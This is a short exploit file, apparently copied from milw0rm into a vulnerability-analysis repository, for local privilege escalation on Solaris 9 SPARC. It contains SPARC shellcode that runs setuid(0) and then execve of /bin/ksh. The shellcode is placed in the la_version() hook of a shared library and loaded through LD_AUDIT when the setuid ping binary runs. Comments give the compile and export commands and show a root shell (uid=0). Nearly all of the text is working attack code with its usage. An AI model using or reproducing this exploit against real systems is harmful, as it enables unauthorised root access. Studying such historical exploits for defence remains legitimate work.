lilbool/vuln-code-analysis

1/* 

2Solaris 9 on SPARC: 

3

4$ cat dupa.c

5*/

6

7char sh[] =

8/* setuid() */

9"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"

10/* execve() */

11"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"

12"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"

13"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

14

15int la_version() {

16       void (*f)();

17       f = (void*)sh;

18       f();

19       return 3;

20}

21

22/*

23$ gcc -fPIC -shared -o /tmp/dupa.so dupa.c

24$ export LD_AUDIT=/tmp/dupa.so

25$ ping

26# id

27uid=0(root) gid=100(student)

28*/

29

30// milw0rm.com [2005-06-28]